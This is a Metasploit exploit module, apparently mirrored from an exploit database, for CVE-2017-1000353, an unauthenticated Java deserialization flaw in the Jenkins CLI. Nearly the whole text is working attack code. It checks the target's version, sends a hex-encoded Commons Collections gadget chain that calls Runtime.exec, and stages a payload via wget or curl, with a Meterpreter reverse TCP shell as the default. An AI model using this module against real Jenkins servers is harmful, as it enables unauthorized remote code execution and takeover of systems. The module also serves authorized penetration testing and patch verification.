Share
## https://sploitus.com/exploit?id=PACKETSTORM:159266
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Jenkins CLI Deserialization',  
'Description' => %q{  
An unauthenticated Java object deserialization vulnerability exists  
in the CLI component for Jenkins versions `v2.56` and below.  
  
The `readFrom` method within the `Command` class in the Jenkins  
CLI remoting component deserializes objects received from clients without  
first checking / sanitizing the data. Because of this, a malicious serialized  
object contained within a serialized `SignedObject` can be sent to the Jenkins  
endpoint to achieve code execution on the target.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'SSD', # PoC  
'Unknown', # Vulnerability discovery  
'Shelby Pace' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'https://www.jenkins.io/security/advisory/2017-04-26/'],  
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution/'],  
[ 'CVE', '2017-1000353']  
],  
'Privileged' => false,  
'Platform' => 'linux',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Targets' =>  
[  
[  
'Linux',  
{  
'Platform' => 'linux',  
'CmdStagerFlavor' => [ 'wget', 'curl' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
]  
],  
'DisclosureDate' => '2017-04-26',  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ UNRELIABLE_SESSION ],  
'SideEffects' => [ IOC_IN_LOGS ]  
},  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The base path to Jenkins', '/' ])  
]  
)  
end  
  
def check  
login_uri = normalize_uri(target_uri.path, 'login')  
login_res = send_request_cgi(  
'method' => 'GET',  
'uri' => login_uri  
)  
  
return Exploit::CheckCode::Unknown('Did not receive a response from the server') unless login_res  
  
/Jenkins\s+ver\.\s+(?<version>\d+(?:\.\d+)*)/ =~ login_res.body  
return Exploit::CheckCode::Safe('Version of Jenkins cannot be found.') unless version  
  
vers_no = Gem::Version.new(version)  
return Exploit::CheckCode::Appears("Jenkins version #{version} detected") if vers_no < Gem::Version.new('2.54')  
  
Exploit::CheckCode::Detected  
end  
  
def exploit  
print_status('Sending payload...')  
execute_cmdstager(noconcat: true)  
end  
  
def format_payload(payload_data)  
formatted_payload = '74'  
formatted_payload << payload_data.length.to_s(16).rjust(4, '0')  
formatted_payload << payload_data.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join  
end  
  
def execute_command(cmd, _opts = {})  
sess_uuid = SecureRandom.uuid  
sess_uri = normalize_uri(target_uri.path, 'cli')  
preamble = '<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='  
  
send_request_cgi(  
{  
'uri' => sess_uri,  
'method' => 'POST',  
'headers' =>  
{  
'Side' => 'download',  
'Session' => sess_uuid  
}  
},  
nil, false  
) # don't wait for response, and don't disconnect  
  
cmd = build_obj(cmd)  
send_request_cgi(  
{  
'uri' => sess_uri,  
'method' => 'POST',  
'data' => preamble + [ cmd ].pack('H*'),  
'headers' =>  
{  
'Side' => 'upload',  
'Session' => sess_uuid  
}  
}  
)  
sleep(2) # give buffer time between requests for processing  
end  
  
def build_obj(obj_data)  
payload_data = '00000000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5265666572656e63654d61'  
payload_data << '701594ca03984908d7030000787077110000000000000001003f40000000000010737200286a6176612e7574696c2e636f6e63757272656e742'  
payload_data << 'e436f70794f6e577269746541727261795365744bbdd092901569d70200014c0002616c74002b4c6a6176612f7574696c2f636f6e6375727265'  
payload_data << '6e742f436f70794f6e577269746541727261794c6973743b7870737200296a6176612e7574696c2e636f6e63757272656e742e436f70794f6e5'  
payload_data << '77269746541727261794c697374785d9fd546ab90c303000078707704000000027372002a6a6176612e7574696c2e636f6e63757272656e742e'  
payload_data << '436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e637572726'  
payload_data << '56e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63'  
payload_data << '757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6'  
payload_data << 'd70617261746f723b7870707372001a6a6176612e73656375726974792e5369676e65644f626a65637409ffbd682a3cd5ff0200035b0007636f'  
payload_data << '6e74656e747400025b425b00097369676e617475726571007e000e4c000c746865616c676f726974686d7400124c6a6176612f6c616e672f537'  
payload_data << '472696e673b7870757200025b42acf317f8060854e002000078700000050daced0005737200116a6176612e7574696c2e48617368536574ba44'  
payload_data << '859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6'  
payload_data << 'e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a'  
payload_data << '6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e7'  
payload_data << '32e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61706163'  
payload_data << '68652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6'  
payload_data << 'e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d6954'  
payload_data << '72616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d657'  
payload_data << '23b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8'  
payload_data << '3418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436'  
payload_data << 'f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c'  
payload_data << '616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7'  
payload_data << '32e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f'  
payload_data << '6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d547'  
payload_data << '97065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c'  
payload_data << '02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000078700'  
payload_data << '00000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078'  
payload_data << '707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106'  
payload_data << 'a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013'  
payload_data << '75720013'  
payload_data << '5b4c6a6176612e6c616e672e537472696e673b'  
payload_data << 'add256e7e91d7b47'  
payload_data << '020000'  
payload_data << '7870'  
payload_data << '00000001'  
  
obj_data = format_payload(obj_data)  
payload_data << obj_data  
  
payload_data << '740004'  
payload_data << '65786563' # exec  
payload_data << '7571007e0'  
payload_data << '01b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756578'  
payload_data << '7200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700'  
payload_data << '507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878'  
payload_data << '787571007e00110000002f302d02147ed1e347cfebac075517d658628ac128211d8895021500945aaa3b69fb24194cdf22bcee9fc9c5e317266'  
  
# This index is the length of the serialized  
# object that belongs to the SignedObject  
start_arr = payload_data.index('050daced')  
end_arr = payload_data.index('787571007e')  
new_arr_len = ((end_arr + 2) / 2) - ((start_arr + 4) / 2)  
payload_data[start_arr, 4] = new_arr_len.to_s(16).rjust(4, '0')  
  
payload_data << '0740003445341737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017078737200316f72'  
payload_data << '672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced5302000'  
payload_data << '14c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c'  
payload_data << '656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b03000078707'  
payload_data << '37200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c'  
payload_data << '656d656e747371007e0018787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136'  
payload_data << 'a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740004617364667878'  
payload_data << '7371007e001e00000000770400000000787871007e00207371007e00027371007e000577040000000271007e001a71007e00097871007e00207078'  
end  
end